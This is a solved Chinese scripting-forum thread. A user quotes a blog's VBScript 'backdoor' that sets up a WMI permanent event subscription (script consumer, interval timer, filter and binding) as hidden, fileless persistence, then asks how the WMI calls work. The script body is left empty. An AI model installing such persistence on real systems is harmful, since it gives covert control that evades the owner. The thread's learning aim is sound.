找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 19896|回复: 4

[问题求助] VBS脚本“三无后门”的几个问题 [已解决]

[复制链接]
发表于 2013-1-23 12:56:33 | 显示全部楼层 |阅读模式
本帖最后由 wankoilz 于 2013-3-6 21:12 编辑

我看了Demon的博客里面“三无后门”的代码后有几个问题,还请指导一下:
代码来自http://demon.tw/copy-paste/vbs-wmi-trojan-3.html
  1. '一个绑定事件和ASEC的实例。

  2. Function InstallUpdateableTrojan
  3. WMILink="winmgmts:\\.\root\cimv2:" 'ASEC所在的名称空间
  4. TrojanName="ScriptKids" '自定义的消费者名字,也就是你的后门的名字
  5. TrojanRunTimer=30000 '自定义的脚本运行间隔

  6. strtxt="" '自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库

  7. '配置事件消费者'
  8. set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
  9. Asec.name=TrojanName&"_consumer"
  10. Asec.scriptingengine="vbscript"
  11. Asec.scripttext=strtxt
  12. set Asecpath=Asec.put_

  13. '配置计时器'
  14. set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
  15. WMITimer.timerid=TrojanName&"_WMITimer"
  16. WMITimer.intervalbetweenevents=TrojanRunTimer
  17. WMITimer.skipifpassed=false
  18. WMITimer.put_

  19. '配置事件过滤器'
  20. set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
  21. EventFilter.name=TrojanName&"_filter"
  22. EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
  23. EventFilter.querylanguage="wql"
  24. set FilterPath=EventFilter.put_

  25. '绑定消费者和过滤器'
  26. set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
  27. Binds.consumer=Asecpath.path
  28. Binds.filter=FilterPath.path
  29. Binds.put_

  30. End Function
复制代码
问题1
里面出现了 set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ 这种路径写法,
为什么获取其他实例比如 win32_process 时写成
set objprocesses=getobject("winmgmts:\\.\root\cimv2:win32_process").spawninstance_这样不行呢?
是因为 ActiveScriptEventConsumer 属于系统类吗?
还有,http://bbs.bathome.net/thread-21979-1-1.html 这里居然有 getobject("winmgmts:win32_process").instances_ 这种写法... ...
感觉真是太灵活了吧,有点头大... ...

问题2
set Asecpath=Asec.put_   其中 Asecpath 是一个什么对象呢?我知道这是为了获取它的 path 属性,但它和 Asec 这个对象有什么关系呢?

问题3
看了这个问题大家不要见笑啊,既然专门设计一个绑定的类,为什么不直接设计成绑定 具体事件和消费者 ,而要整成绑定 过滤出来的事件和消费者呢... ...
直接绑定 事件id和消费者id  不就可以了吗,是不是多此一举呢?
勿怪!

评分

参与人数 1PB +2 收起 理由
Batcher + 2 感谢给帖子标题标注[已解决]字样

查看全部评分

 楼主| 发表于 2013-1-24 16:10:19 | 显示全部楼层
补问一个:
__eventconsumer和ASEC有什么区别呢?
 楼主| 发表于 2013-3-6 21:11:47 | 显示全部楼层
通过反复学习 《WMI入门教程》(三部分),以上问题基本上解决了。
http://demon.tw/programming/wmi-scripting-primer-part-1.html
发表于 2013-3-11 22:20:35 | 显示全部楼层
朋友,你倒把你的心得体会说一下啊~
 楼主| 发表于 2013-3-11 23:22:58 | 显示全部楼层
这个真是一言难尽啊,我觉得应该要把WMI基本结构模型,类定义,WMI脚本库(就是入门三部曲)等概念搞清楚,结合wbemtest.exe查看相应类定义的方法、属性、限定符等才能够系统了解。
Demon兄的博客还是很严谨很专业的,看了不后悔!
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-17 12:08 , Processed in 0.019023 second(s), 8 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表